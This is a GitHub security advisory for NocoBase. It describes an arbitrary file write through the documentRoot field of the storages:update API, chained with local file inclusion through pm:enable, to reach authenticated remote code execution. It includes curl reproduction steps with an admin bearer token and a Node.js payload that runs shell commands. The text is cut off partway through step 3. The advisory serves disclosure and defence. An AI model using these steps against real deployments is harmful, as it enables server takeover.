GHSA-ghvf-qf6h-g8x5

NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution

Published

2026-08-20

Modified

2026-08-20

Sources

github-advisory

Summary

## Executive Summary Two vulnerabilities were identified and chained to achieve authenticated remote code execution The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion). Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution. A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token. ## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation ### Summary The file-manager plugin's storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record's `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths. ### Vulnerable Components `packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24–27 | `packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` Server route: `POST /api/storages:update` Server route: `POST /api/attachments:upload` ### Root Cause `getDocumentRoot()` resolves the `documentRoot` field from the storage record: ```javascript // packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } = this.storage.options || {}; return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot)); ``` `resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there. The creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards. ### Steps to Reproduce **Prerequisites:** Admin session token. **Step 1 Get the local storage ID:** ```bash curl -s "http://192.168.228.130:13000/api/storages" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" ``` Storage ID on this target: `366584416632832` **Step 2 Create the RCE payload:** ```bash cat > /tmp/rce_proof.js << 'EOF' const { execSync } = require('child_process'); const fs = require('fs'); const out = execSync('id; whoami; hostname').toString(); fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out); module.exports = {}; EOF ``` **Step 3 Redirect storage documentRoot to app CWD:** ```bash curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6

Affected packages

Remediation: Upgrade to 2.1.5 or later.

References

• https://github.com/advisories/GHSA-ghvf-qf6h-g8x5